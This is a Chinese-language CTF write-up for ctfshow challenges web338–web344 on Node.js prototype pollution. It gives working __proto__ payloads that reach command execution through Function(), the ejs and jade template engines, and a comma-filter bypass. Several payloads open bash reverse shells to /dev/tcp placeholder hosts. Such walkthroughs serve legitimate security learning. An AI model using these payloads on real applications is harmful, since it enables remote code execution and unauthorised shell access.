web338
给了源码, 看到 login.js 里面有个copy() 函数
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
找到copy() 函数的用法
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
基础的原型链污染, 因为需要 满足条件 secert.ctfshow==='36dboy'
, 可以输出flag,
但是secert
是否有 ctfshow不重要, 让它的原型拥有就行,
secert
和 user
都是 对象, 在执行 copy 操作 ,构造一个请求体污染了user
的原型,
存在一个 ctfshow
的属性, 值为 36dboy
, 那么在 secert
的里面找不到ctfshow
的属性. 就会往原型上去找, 从而满足secert.ctfshow==='36dboy'
,得到flag
抓个登录的包, 修改一下就行
payload:
{"username":"111","password":"111","__proto__": {"ctfshow": "36dboy"}}
web339
与前面一道题的区别:
flag是一个变量, 但是也不可能知道flag的值是多少, 就不可能用上一道题的方法了.
然后还有一个 api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
关键就是 Function(query)(query)
可以原型链污染用于执行命令
还是copy()那里造成的原型污染
构造相应的query的值, 得到想要执行的结果
也是类似于上一道题
{"__proto__":{"query":"执行的命令"}}
使用child_process
子进程 里面的exec方法可用于执行一个命令
Function环境下没有require函数,不能获得child_process模块,可以通过使用process.mainModule.constructor._load
来代替require。
payload:(反弹shell)
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/80 0>&1\"')"}}
抓包 ,在login那里
然后再访问一下 /api 路由, 服务器就连上了
在login路由污染, 在api路由 Function 执行
flag在login.js里面
web340
源码的相应的变化:
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
可以看到它的源码做了一点更改, 本地测试一下, 看看如何污染
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"query":"return true"}}}')
copy(user.userinfo,body)
console.log(user.query) //return true
console.log(Function(query)()) //true
需要嵌套两层才能污染, 其他的跟上一题是一样的
userinfo
的第一个原型是 匿名函数()
再上一层 才是 object对象
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/80 0>&1\"')"}}}
web341
这一题里面没有了 /api 路由 ,需要找到其他的污染口
使用的ejs的模板引擎 , 利用ejs 进行 rce
文章: ejs的Rce利用
常用的payload: (需要污染两层)
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/80 0>&1\"');var __tmp2"}}}
随便访问一个界面就可以造成污染
web342
题目描述:
审计了1个小时发现的,此链目前网上未公开,难度稍大
跟上一道题的的不同点在于 这道题是用的jade
的模板引擎
https://geekdaxue.co/read/fosusec@ctfshow/ya8d3a
要动调分析, 看的有点懵
payload:
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/[ip]/80 0>&1\"')"}}}
在 /login 下
在环境变量里
web343
跟上一题一样
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/[ip]/80 0>&1\"')"}}}
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了 ,
逗号
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析
payload:
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
参考文章:
https://geekdaxue.co/read/fosusec@ctfshow/bpb6vr
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html